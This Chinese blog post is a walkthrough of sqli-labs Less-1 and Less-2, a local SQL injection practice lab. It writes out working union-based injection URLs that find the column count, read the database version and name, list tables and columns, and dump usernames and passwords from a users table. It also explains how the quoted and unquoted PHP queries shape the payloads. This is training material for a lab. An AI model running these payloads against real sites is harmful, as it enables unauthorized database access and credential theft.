sqli-labs(1)-Less-1&2

为什么要把这个两个放一起写在博客里呢,因为这两个非常像
当然也有人和我一样不懂为啥他们有的带’,有的又不带,还有带括号的,很多,其实我觉得都是经验之谈

推荐一个i春秋上的帖子,挂上链接,可以看一下,写的挺好的
深入浅出玩转SQL注入(含过狗)

开始我们的题目,sql注入在有的教程里分什么字符型,数字型,其实都是一样的,都是在满足sql查询的条件,同时为什么这么构造,我们也在最后再说

Sql注入基本方法

  1. 判断Sql注入,在最后加上’ ,如果出错,可以判断存在sql注入
  2. 爆数据库
  3. 爆表名
  4. 爆字段名
  5. 查询

第一题

  1. 判断 + ’
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1%27

在这里插入图片描述
页面报错,存在sql注入

  1. 爆数据库
    查看回显的字段数

    网址页面提示是否正常
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 5 --+Unknown column ‘5’ in ‘order clause’
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 3 --+-
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 4 --+Unknown column ‘4’ in ‘order clause’

    说明字段数是3

    查看回显字段
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,2,3–+

    说明回显字段是2,3
    在这里插入图片描述
    查看数据库名和数据库版本
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,version(),database() --+
    在这里插入图片描述
    数据库名是security,版本是10.3.15-MariaDB-1

  2. 爆表名
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=0x7365637572697479–+

在这里插入图片描述
这个0x7365637572697479是security的16进制形式,写成16进制的形式是不用加引号的,可以看到有email,referers,uagents,users,表

  1. 爆字段名

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1‘ union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=0x7365637572697479–+
在这里插入图片描述

  1. 查看数据

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,username,password from users where id=1 --+

第二题

第二题和第一题不一样的是在id=1之后的引号以及最后的–+上
我们直接贴上结果

  1. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1 order by 3
  2. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,version(),database()
  3. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=0x7365637572697479
  4. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=0x7365637572697479
  5. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,username,password from users where id=1

比较

第一题在查看sql查询的源码的时候,php的语句是这么写的

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

所以我们在构造语句的时候都是在满足查询条件的语句
比如爆数据库,
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 3 --+
这个时候,sql语句是什么

$sql="SELECT * FROM users WHERE id='1' order by 3 --+ LIMIT 0,1";

现在知道为啥要构造’了吧,为了满足查询语句的语法要求,而–+之后的会被sql语句忽略

在看看第二题,php的语句是这么写的

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

如果还是按照第一题一样的就是

$sql="SELECT * FROM users WHERE id=1' order by 3 --+ LIMIT 0,1";

这样语法就错误了,必须去掉引号

$sql="SELECT * FROM users WHERE id=1 order by 3 LIMIT 0,1";

这样就满足查询条件,成功查询
但是在实际的操作中,应该就是试

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值